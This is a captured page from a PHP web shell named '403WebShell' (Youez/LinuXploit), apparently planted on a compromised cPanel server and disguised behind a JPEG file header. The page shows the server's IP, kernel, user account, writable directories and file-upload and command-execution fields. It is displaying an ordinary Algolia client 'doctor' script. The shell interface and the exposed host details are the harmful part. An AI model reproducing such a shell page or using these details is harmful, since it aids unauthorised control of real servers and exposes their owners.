����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.191.91.228
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/public_html/vendor/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/public_html/vendor/bin/algolia-doctor
#!/usr/bin/env php
<?php

if (file_exists(__DIR__ . '/../../../autoload.php')) {
    include __DIR__ . '/../../../autoload.php';
} else if (file_exists(__DIR__ . '/../autoload.php')) {
    include __DIR__ . '/../autoload.php';
}


$doc = new AlgoliaDoctor();
$doc->checkPhpVersion();
$doc->checkExtensionRequirements();
$doc->checkSerializeParam();
$doc->checkHttpClient();
$doc->checkCurlAsynchDNS();

exit($doc->exitCode);

class AlgoliaDoctor
{
    public $exitCode = 0;

    public function checkPhpVersion()
    {
        if (PHP_VERSION_ID < 70200) {
            echo 'Unfortunately your version of PHP is too old. Consider upgrading to PHP 7.2+.';
            $this->exitCode = 1;
        }
    }

    public function checkExtensionRequirements()
    {
        if (!function_exists('curl_init')) {
            echo 'AlgoliaSearch requires the CURL PHP extension.';
            $this->exitCode = 1;
        }
        if (!function_exists('json_decode')) {
            echo 'AlgoliaSearch requires the JSON PHP extension.';
            $this->exitCode = 1;
        }
        if (!function_exists('mb_strtolower')) {
            echo 'AlgoliaSearch requires the MBSTRING PHP extension.';
            $this->exitCode = 1;
        }
    }

    public function checkSerializeParam()
    {
        if (PHP_VERSION_ID > 70100 && '-1' !== ini_get('serialize_precision')) {
            echo '
When using PHP 7.1+, you must set the "serialize_precision" ini settings to -1.
See https://github.com/algolia/algoliasearch-client-php/issues/365
';
            $this->exitCode = 1;
        }
    }

    public function checkHttpClient()
    {
        if (PHP_VERSION_ID > 50500 && !class_exists('GuzzleHttp\Client')) {
            echo "
You're using a recent enough version of PHP to use the Guzzle Http library.
It's highly recommended to use Guzzle.
Install it via `composer require guzzlehttp/guzzle` and it will be used automatically.
";
        }
    }

    public function checkCurlAsynchDNS()
    {
        // See https://github.com/algolia/algoliasearch-client-php/pull/109/files#r114370030
        $curlVersion = curl_version();
        $hasAsynchDNS = $curlVersion['features'] & (1 << 7);

        if (!$hasAsynchDNS) {
            echo '
cURL AsynchDSN feature is disabled. Please compile your libcurl with ARES enabled
to avoid potential issues with DNS resolution.
';
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit